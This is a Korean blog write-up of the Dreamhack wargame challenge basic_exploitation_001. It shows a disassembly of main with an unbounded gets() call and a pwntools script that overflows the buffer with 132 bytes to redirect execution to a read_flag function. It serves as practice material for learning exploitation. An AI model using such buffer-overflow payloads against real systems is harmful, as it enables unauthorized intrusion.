Write-up/Wargame

[Dreamhack] basic_exploitation_001

da1seun9 2024. 10. 3. 18:08

문제

{12CF6EF7-4566-4FB1-BFC1-ECCD7D8DF403}

오랜만에 문제 하나 심심해서 풀었다.

분석

{43704966-D71A-4BB4-8703-6A5F1AB9CE8F}

NX(No-eXecute)로 메모리 상에서 코드 실행이 가능한 메모리 영역과 가능하지 않는 메모리 영역을 분리하는 보호기법이 설정되어 있다. 이에 따라서 쉘코드를 메모리 상에 넣어놓고 실행하는것은 불가능 할 것 같다.

{A1668B24-C630-495D-8193-6014944FD652}

함수는 여러개가 있는데 read_flag는 뭔가 flag를 잃어주는 그런 함수인 것 같다.

{9B0753F2-CC48-4B91-A103-C8135BAEA49B}

System함수로 cat flag하는 것 맞았다.

아무래도 이걸 사용하는 것 같다.

프로그램 실행

{100CB234-E677-4E45-82AE-6BF355410C3A}

코드 실행을 했을 땐 바로 입력 받는 것 외에는 별다른 건 없다.

코드분석: main
pwndbg> disassemble main
Dump of assembler code for function main:
   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp
   0x080485cf <+3>:     add    esp,0xffffff80
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]
   0x080485da <+14>:    push   eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave
   0x080485e9 <+29>:    ret
End of assembler dump.

eax에 ebp에서 0x80을 뺀 메모리의 주소를 넣는다. 그리고 eax를 스택에 쌓는다.

즉, gets 함수에서 입력받은 값들을 저장할 공간의 주소를 스택에 쌓은 것이다.

main+15일 때 브레이크 포인트를 하고 아무 값을 입력해보았다.

{C23E21A1-B34A-4221-B2BE-69BBA43AAD61}

값들이 0xfffcd98부터 들어가지는 것을 알 수 있다.

132바이트를 NOP로 채우고 SFP + EBP를 다른 주소로 채우면 되는데 read flag 함수 주소로 바꾸면 함수 종료 시 read flag가 실행하게 될 것이다.

풀이

from pwn import *
p = remote('host3.dreamhack.games',15507)
payload = b'\x90'*132
payload += p32(0x080485b9)
p.sendline(payload)
p.interactive()

{1F6B2B70-1436-4422-9633-AB6FA950A255}

끝.

'Write-up > Wargame' 카테고리의 다른 글

[4주차 TIL] KnockOn Bootcamp basic_asm 4~5  (0) 2025.01.01
[4주차 TIL] KnockOn Bootcamp basic_asm 1~3  (0) 2025.01.01
[Dreamhack] basic_exploitation_000  (0) 2024.03.24
[Dreamhack] ReturnAddressOverwrite  (1) 2024.03.22
[pwnable.kr] fd  (0) 2023.11.12